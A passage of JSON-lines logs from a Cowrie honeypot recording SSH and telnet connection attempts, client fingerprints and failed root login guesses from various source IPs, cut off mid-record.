{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ff:d1:c5:f3:9b:91:bb:15:59:76:a5:a5:b0:47:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDg+IDtagrSeHO1fW/kix6LCQBLMT44LOaiqby5ZbGJPTobUUgufZ5SVEpZoi9Yv0ciu5lr9L3f28L+pRrkC0Td3VS/Uu77JJn8qukQjLQfZcB14SO7VFojAFIyP1K6p4WGiU0kVQMAHyFv+Rk+i/ZEEtUrhQq49+BmQ44xOS8Ly7/2ptf5Z7tiA2HKksXq+6Zu+jP1GFumaxxYpYYEpZRnscV2J+JwwOZtG5GAW5lS8pqRhB6KMumYZNtbrvQ67RGljH/cGZVQhTzlQruH0RMicPHZftIZvOkoPhG5V77OXHeWEj8/uyIViKYbG5rorACoNIdzsV/DRCOPozvUtbjDRL1vjl3FmsW93EX50QVfeph4nF5eHvuIylCUnGo14gCF0tU4pmxoCFB4272X79Hfpg/NEx584CEr9Rr0VZvKvqMUtH5LEQO3j2S4Kb7FM7TlZfY37p39uKwfQhDG0Ybj+kZnjx6fy42frotVxUNG+mVj4jjZYfNc5Xw/lgccACk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ff:d1:c5:f3:9b:91:bb:15:59:76:a5:a5:b0:47:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.429791Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ff:d1:c5:f3:9b:91:bb:15:59:76:a5:a5:b0:47:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDg+IDtagrSeHO1fW/kix6LCQBLMT44LOaiqby5ZbGJPTobUUgufZ5SVEpZoi9Yv0ciu5lr9L3f28L+pRrkC0Td3VS/Uu77JJn8qukQjLQfZcB14SO7VFojAFIyP1K6p4WGiU0kVQMAHyFv+Rk+i/ZEEtUrhQq49+BmQ44xOS8Ly7/2ptf5Z7tiA2HKksXq+6Zu+jP1GFumaxxYpYYEpZRnscV2J+JwwOZtG5GAW5lS8pqRhB6KMumYZNtbrvQ67RGljH/cGZVQhTzlQruH0RMicPHZftIZvOkoPhG5V77OXHeWEj8/uyIViKYbG5rorACoNIdzsV/DRCOPozvUtbjDRL1vjl3FmsW93EX50QVfeph4nF5eHvuIylCUnGo14gCF0tU4pmxoCFB4272X79Hfpg/NEx584CEr9Rr0VZvKvqMUtH5LEQO3j2S4Kb7FM7TlZfY37p39uKwfQhDG0Ybj+kZnjx6fy42frotVxUNG+mVj4jjZYfNc5Xw/lgccACk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.433332Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:1e:fb:b5:e8:c6:19:2f:e6:1d:45:ec:10:c7:c1:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvSGEedhHbAXPM2oQUf13TO0/L6m43OpXK4dh596At3g9h/ANt/A2T6AdVjKcmJaSZx3yhI8TCQscpgP8u1VQlfDJP8FGn9WAGz+eJpl9nl9tiTl3n88PZXtEOlcpCy3yGR5crBITEBkIYTNrefs+gzDskXXrH1kdDCas51yEhxAwpRNDfiS8+NgOOfO79N79kewDgg+CGYz4rkfVcKhhuXx4OQYg9dJXlX+l0bMo6hffUcr+lnQ7wVvIqtY/XVCNa8OMgSQtOkspJnx+I15H9qMLGwpAeiL1ZKkPNYfEkfjxaZ6BCj7cTqktrnJg895IPeuipXuKrl8HCFI7m9kaYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:1e:fb:b5:e8:c6:19:2f:e6:1d:45:ec:10:c7:c1:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.686597Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:1e:fb:b5:e8:c6:19:2f:e6:1d:45:ec:10:c7:c1:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvSGEedhHbAXPM2oQUf13TO0/L6m43OpXK4dh596At3g9h/ANt/A2T6AdVjKcmJaSZx3yhI8TCQscpgP8u1VQlfDJP8FGn9WAGz+eJpl9nl9tiTl3n88PZXtEOlcpCy3yGR5crBITEBkIYTNrefs+gzDskXXrH1kdDCas51yEhxAwpRNDfiS8+NgOOfO79N79kewDgg+CGYz4rkfVcKhhuXx4OQYg9dJXlX+l0bMo6hffUcr+lnQ7wVvIqtY/XVCNa8OMgSQtOkspJnx+I15H9qMLGwpAeiL1ZKkPNYfEkfjxaZ6BCj7cTqktrnJg895IPeuipXuKrl8HCFI7m9kaYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.690892Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:02:9c:47:7d:55:d0:9a:3d:7d:03:74:f7:97:da:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCpAx3hxZi/cNS1UIxnM3A4mJAvwR+xeLxiATPKv8xr5VNDLJ1piJkzJxPHbBX75Wp80sCs+c3MV+635+Ex/77cbuvd5t2JQjRnLYpkcGgVqpdbduOXhnu0tLAmT9fBk3P9BDBCJ4mQ8XrS5ZluhY+JJlqaL3Khj7DYkt8QTbIWkgg5UDqB02iJWXE7xORzi8C0pHEx662UqEFRAP4th6ZZaWsvTXprrU3TSDbcANWM0+JO39iGL4gpnfMo1yd8Z/91FAK4L9l1kCrvrtpNDsQz4DV0+XnFS5A4eQwtXOnYyhxQsuQqf9zmt7eCPyIPCNVzec3rsCZlNQtybRyJZ6b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:02:9c:47:7d:55:d0:9a:3d:7d:03:74:f7:97:da:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.944618Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:02:9c:47:7d:55:d0:9a:3d:7d:03:74:f7:97:da:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCpAx3hxZi/cNS1UIxnM3A4mJAvwR+xeLxiATPKv8xr5VNDLJ1piJkzJxPHbBX75Wp80sCs+c3MV+635+Ex/77cbuvd5t2JQjRnLYpkcGgVqpdbduOXhnu0tLAmT9fBk3P9BDBCJ4mQ8XrS5ZluhY+JJlqaL3Khj7DYkt8QTbIWkgg5UDqB02iJWXE7xORzi8C0pHEx662UqEFRAP4th6ZZaWsvTXprrU3TSDbcANWM0+JO39iGL4gpnfMo1yd8Z/91FAK4L9l1kCrvrtpNDsQz4DV0+XnFS5A4eQwtXOnYyhxQsuQqf9zmt7eCPyIPCNVzec3rsCZlNQtybRyJZ6b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.948714Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:51.203109Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00843834877014,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:31.489052Z","src_ip":"178.215.165.180","session":"f53b9c6e44dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.215.165.180","src_port":15160,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf976adec70","protocol":"telnet","message":"New connection: 178.215.165.180:15160 (10.17.0.5:23) [session: edf976adec70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:31.853027Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40054,"dst_ip":"159.203.135.109","dst_port":22,"session":"3502add31681","protocol":"ssh","message":"New connection: 109.172.54.111:40054 (159.203.135.109:22) [session: 3502add31681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:33.453136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:33.460918Z","src_ip":"109.172.54.111","session":"3502add31681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:33.556125Z","src_ip":"109.172.54.111","session":"3502add31681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lero4ka","message":"login attempt [root/lero4ka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:33.846417Z","src_ip":"109.172.54.111","session":"3502add31681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:54:34.947584Z","src_ip":"109.172.54.111","session":"3502add31681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50554,"dst_ip":"10.17.0.5","dst_port":22,"session":"756050ce071b","protocol":"ssh","message":"New connection: 103.77.242.62:50554 (10.17.0.5:22) [session: 756050ce071b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:08.203902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:08.209643Z","src_ip":"103.77.242.62","session":"756050ce071b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:08.466331Z","src_ip":"103.77.242.62","session":"756050ce071b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjlrf1","message":"login attempt [root/kjlrf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:09.235808Z","src_ip":"103.77.242.62","session":"756050ce071b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00149464607239,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:09.734026Z","src_ip":"178.215.165.180","session":"d7c3b241bcc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:10.495677Z","src_ip":"103.77.242.62","session":"756050ce071b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53908,"dst_ip":"10.17.0.5","dst_port":22,"session":"da98d37740ef","protocol":"ssh","message":"New connection: 89.223.69.22:53908 (10.17.0.5:22) [session: da98d37740ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:26.694138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:26.699321Z","src_ip":"89.223.69.22","session":"da98d37740ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:26.816675Z","src_ip":"89.223.69.22","session":"da98d37740ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taganrog","message":"login attempt [root/taganrog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:27.168559Z","src_ip":"89.223.69.22","session":"da98d37740ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:55:28.287016Z","src_ip":"89.223.69.22","session":"da98d37740ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":30526,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e4b7df956a2","protocol":"ssh","message":"New connection: 38.93.206.2:30526 (159.203.135.109:22) [session: 4e4b7df956a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:21.682642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:21.688644Z","src_ip":"38.93.206.2","session":"4e4b7df956a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:21.739811Z","src_ip":"38.93.206.2","session":"4e4b7df956a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200588","message":"login attempt [root/200588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:21.892977Z","src_ip":"38.93.206.2","session":"4e4b7df956a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:22.950106Z","src_ip":"38.93.206.2","session":"4e4b7df956a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01027297973633,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:31.863155Z","src_ip":"178.215.165.180","session":"edf976adec70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.215.165.180","src_port":5280,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd537f41ea9","protocol":"telnet","message":"New connection: 178.215.165.180:5280 (10.17.0.5:23) [session: bdd537f41ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:56:33.578410Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":33600,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a7ffbebf423","protocol":"ssh","message":"New connection: 37.233.85.71:33600 (10.17.0.5:22) [session: 0a7ffbebf423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:57:31.149636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:57:31.154304Z","src_ip":"37.233.85.71","session":"0a7ffbebf423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:57:31.254424Z","src_ip":"37.233.85.71","session":"0a7ffbebf423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkle","message":"login attempt [root/tinkle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:57:31.606382Z","src_ip":"37.233.85.71","session":"0a7ffbebf423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:57:32.709430Z","src_ip":"37.233.85.71","session":"0a7ffbebf423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.241","src_port":42036,"dst_ip":"10.17.0.5","dst_port":22,"session":"93fe2874ab0b","protocol":"ssh","message":"New connection: 148.113.221.241:42036 (10.17.0.5:22) [session: 93fe2874ab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.413901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.418535Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-